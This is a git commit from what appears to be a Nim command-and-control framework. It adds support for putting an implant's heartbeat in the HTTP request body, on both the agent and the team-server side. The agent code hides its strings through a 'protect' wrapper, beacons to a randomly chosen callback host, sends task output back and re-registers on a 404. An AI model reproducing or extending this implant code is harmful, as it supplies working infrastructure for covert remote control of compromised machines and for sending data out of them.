Heartbeat can be placed in request body again.

This commit is contained in:
Jakob Friedl
2025-11-18 09:43:56 +01:00
parent 3b5b570e24
commit 72bc732c89
5 changed files with 22 additions and 28 deletions

View File

@@ -29,6 +29,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
payload = prefix & heartbeatString & suffix
var body = ""
# Add heartbeat packet to the request
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
@@ -37,10 +38,8 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
of protect("query"):
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
endpoint &= fmt"{param}={payload}&"
of protect("uri"):
discard
of protect("body"):
discard
body = payload
else:
discard
@@ -53,7 +52,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
# Select random callback host
let hosts = ctx.hosts.split(";")
let host = hosts[rand(hosts.len() - 1)]
let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}")
let response = waitFor client.request(fmt"http://{host}/{endpoint[0..^2]}", HttpGet, body)
# Check the HTTP status code to determine whether the agent needs to re-register to the team server
if response.code == Http404:
@@ -124,8 +123,6 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
of protect("query"):
let param = ctx.profile.getString(protect("http-post.agent.output.placement.name"))
endpoint &= fmt"{param}={payload}&"
of protect("uri"):
discard
of protect("body"):
body = payload # Set the request body to the "prefix & task output & suffix" construct
else:

File diff suppressed because one or more lines are too long

View File

@@ -53,10 +53,9 @@ proc httpGet*(request: Request) =
request.respond(404, body = "")
return
of "uri":
discard
of "body":
discard
heartbeatString = request.body
else: discard
# Retrieve and apply data transformation to get raw heartbeat packet
@@ -142,9 +141,6 @@ proc httpPost*(request: Request) =
request.respond(400, body = "")
return
of "uri":
discard
of "body":
dataString = request.body